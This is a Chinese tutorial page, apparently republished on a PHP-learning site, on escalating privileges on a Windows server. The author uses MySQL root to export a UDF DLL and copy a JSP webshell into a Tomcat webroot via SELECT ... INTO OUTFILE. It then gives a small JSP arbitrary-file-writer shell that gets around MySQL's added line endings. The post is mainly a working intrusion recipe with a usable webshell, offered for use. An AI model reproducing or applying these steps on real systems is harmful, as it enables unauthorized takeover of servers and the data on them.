网站地图    收藏   

主页 > 后端 > 网站安全 >

解决Win下MySQL root导出Webshell换行符问题 - 网站安

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 今天碰到了这么个问题,简单记录一下我的解决方案。首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php安装了mssql(1433端口),tomca...

今天碰到了这么个问题,简单记录一下我的解决方案。
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
1 show variables like '%plugin%';
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
创建自定义函数似乎被拦截,一直失败。
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
mysql执行语句:
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
2 复制代码
后成功。
但是访问后得到如下提示:
明显是MySQL的Win下版本自动添加转义符\n\r了
这样导致程序运行的悲剧。
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
最后弄了这么个小脚本:
01 <%@ page language="java" pageEncoding="gbk"%>
02 <jsp:directive.page import="java.io.File"/>
03 <jsp:directive.page import="java.io.OutputStream"/>
04 <jsp:directive.page import="java.io.FileOutputStream"/>
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
06 error www.2cto.com
07 <%}}if(i==0){%>
08 ok
09 <%}%>
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
就可以避免转义符让JSP的马儿运行500错误了。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论